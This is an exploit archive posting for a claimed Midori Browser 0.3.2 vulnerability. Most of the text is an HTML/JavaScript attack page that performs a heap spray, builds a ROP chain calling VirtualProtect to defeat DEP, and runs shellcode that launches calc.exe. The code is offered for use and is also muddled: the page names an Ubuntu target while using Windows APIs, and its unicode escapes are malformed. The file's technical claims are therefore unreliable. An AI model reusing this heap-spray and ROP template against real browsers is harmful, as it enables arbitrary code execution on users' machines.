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Midori Browser 0.3.2 Denial Of Service

Midori Browser 0.3.2 Denial Of Service
Posted Sep 27, 2012
Authored by Ryuzaki Lawlet

Midori Browser version 0.3.2 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | fe6713157afa85b1b05c403eafeff8a6

Midori Browser 0.3.2 Denial Of Service

Change Mirror Download
[+] Title: Midori Browser 0.3.2 Denial Of Service Object++ Exploit
[+] Date: 9:44:14_am 27 s3pt 2012
[+] Author: Ryuzaki Lawlet
[+] 3mail: ryuzaki_l@y7mail.com
[+] Blog: http://justryuz.blogspot.com
[+] Platform: *nix
[+] OS: Ubuntu 11.10

[+]Information:

the vulnerability is silently patched for Firefox below 4.0
and this vulnerability effected in Midori Browser 0.3.2 bypasses DEP policy


********************Exploit****************************

<html>
<!-- ROP completed--->
<head>
<Title>Ubuntu 11.10 Calc p47l0d -- Rop Completed</title>
<script type="text/javascript">
function ignite()    {
    var carpet = 0x200;
    var vftable = unescape("\x00% u0c10");
    var pLand = "% u00fd% u0c10";
    var pShell = "% u0000% u0c10";
    var oldProt = "% u0000% u0c10";
   
    var heap = unescape("% u0101% u0102"
                    +"% u0008% u0c10"
                    +"% u0105% u0106"
                    +"% u10c2% u7c34"//"% u0107% u0108" pop ecx;pop ecx;ret
                    +"% u0109% u010a"//
                    +"% u3134% u6d32"//"% u010b% u010c"//"% u6643% u6d6a" // mov eax,[esi]
                    +"% u787f% u6d32"//"% u010d% u010e"// xchg eax,esi;aam 0ff;dec ecx;ret
                    +"% u7b72% u6d83"//"% u010f% u0111" // pop edx;ret
                    +"% u0000% u0c10"//% u0112% u0113" // will be popped in edx //
                    +"% u2a30% u6d7f"//"% u0114% u0115" // mov ecx,esi;call [edx+50]
                    +pLand//"% u0116% u0117" // Address in shellcode to land change it accordingly
                    +"% ue8d4% u6d7f"//"% u0118% u0119"    // mov [ecx],eax;pop ebp;ret
                    +"% u011a% u011b"// will be popped in ebp
                    +"% u1b02% u7c34"//"% u011c% u011d" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u011e% u011f" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0120% u0121" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0122% u0123" // dec ecx;ret
                    +"% u4edc% u7c34"//"% u0122% u0123" // pop eax;ret
                    +oldProt//"% u0124% u0125" // pOldProtection
                    +"% ue8d4% u6d7f"//"% u0126% u0127" // mov [ecx],eax;pop ebp;ret
                    +"% u4edb% u7c34"//"% u0128% u0129" // pop ebx;pop eax;ret // needed in initial phase.
                    +"% u1b02% u7c34"//"% u012a% u012b" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u012c% u012d" // dec ecx;ret
                    +"% u4edb% u7c34"//"% u012e% u012f" // pop ebx;pop eax;ret
                    +"% u2643% u7c34"//"% u0130% u0131" // xchg eax,esp;pop edi;add byte ptr ds:[eax],al;pop ecx,ret
                    +"% u0040% u0000"//"% u0132% u0133" // newProptection = PAGE_READ_WRITE_EXECUTE
                    +"% u1b02% u7c34"//"% u0134% u0135" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0136% u0137" // dec ecx;ret
                    +"% ue8d4% u6d7f"//"% u0138% u0139" // mov [ecx],eax;pop ebp;ret
                    +"% u013a% u013b"// will be popped in ebp
                    +"% u1b02% u7c34"//"% u013c% u013d" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u013e% u013f" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0140% u0141" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0142% u0143" // dec ecx;ret
                   
                    +"% u4edc% u7c34"//"% u0144% u0145" // pop eax;ret
                    +"% u0000% u0010"//"% u0146% u0147" // Size
                    +"% ue8d4% u6d7f"//"% u0148% u0149" // mov [ecx],eax;pop ebp;ret
                    +"% u014a% u014b"// Will be popped in ebp.
                    +"% u1b02% u7c34"//"% u014c% u014d" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u014e% u014f" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0150% u0151" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0152% u0153" // dec ecx;ret
                   
                    +"% u4edc% u7c34"//"% u0144% u0145" // pop eax;ret
                    +pShell//"% u0146% u0147" // Address Of Shellcode block to change protection.
                    +"% ue8d4% u6d7f"//"% u0148% u0149" // mov [ecx],eax;pop ebp;ret
                    +"% u014a% u014b"// Will be popped in ebp.
/*                    +"% u1b02% u7c34"//"% u014c% u014d" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u014e% u014f" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0150% u0151" // dec ecx;ret
                    +"% u1b02% u7c34"//"% u0152% u0153" // dec ecx;ret
*/                    +"% u4cc1% u7c34"//"% u0154% u0155" // pop eax;ret
                    +"% u9611% u7c34"//"% u0156% u0157" // will be popped in eax. pop edi;pop ebx;pop ebp;ret
                    +"% u347a% u7c34"//"% u0158% u0159" // push esi;push edi;call eax
                    +"% u4edc% u7c34"//"% u015a% u015b" // pop eax;ret
                    +"% u00e0% u0c10"//"% u015c% u015d" // will be popped in eax.
                   
                    /* Need to fix the ebp for proper landing on shellcode */
                    +"% uc420% u6d99"// dec ebp;ret
                    +"% uc420% u6d99"// dec ebp;ret
                    +"% uc420% u6d99"// dec ebp;ret
                    +"% uc420% u6d99"// dec ebp;ret
                   
                   
                    +"% u1f0a% u7c34"//"% u015e% u015f" // mov esp,ecx;mov ecx[eax];mov eax,[eax+4];push eax;ret
                    +"% u0160% u0161"
                    +"% u28dd% u7c35"//"% u0162% u0163" // VirtualProtect
                    +"% u0164% u0165"
                    +"% u0166% u0167"
                    +"% u0168% u0169"
                    +"% u016a% u016b"
                    +"% u016c% u016d"
                    )
/* Shellcode : */    +unescape("% u9090% u9090% u9090% u9090"
                    +"% u585b" // pop ebx;pop eax;
                    +"% u0a05% u0a13% u9000" // add eax,0a130a
                    +"% u008b" // mov eax,[eax]
                    +"% u056a" // push 05
                    +"% uc581% u0128% u0000" // add ebp,114
                    +"% u9055" // push ebp;nop
                    +"% u1505% u04d6% u9000" // add eax,4d615
                    +"% ud0ff" // call eax
                    +"% uBBBB% uCCCC% uDDDD% uEEEE"
/* command: */        +"% u6163% u636c% u652e% u6578% u0000% ucccc"    // calc.exe
                    );
        var vtable = unescape("\x04% u0c10");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
        while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
        var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
        var spray = new Array();
        for (var iter=0;iter<carpet;iter++){
            spray[iter] = finalspray+heap;
        }
/* vulnerability trigger : */       
        var arrobject = [0x444444444444];
        for(;true;){(arrobject[0])++;}
}
</script>
</head>
<body>
<applet src="test.class" width=10 height=10></applet>
<input type=button value="Object++" onclick="ignite()" />
</body>
</html>

********************Exploit****************************


gr33t t0 4ll m7 m3mb3r$
./CyberSEC ./Cyber4rmy ./T3D Hacker ./Vvip Team ./RC Team ./Inj3ctor Team
./tbd.sec ./xanda ./NuxbieCyber ./biang-rusuh ./Sammy FORGIT ./KedAns-Dz ./1337day.com

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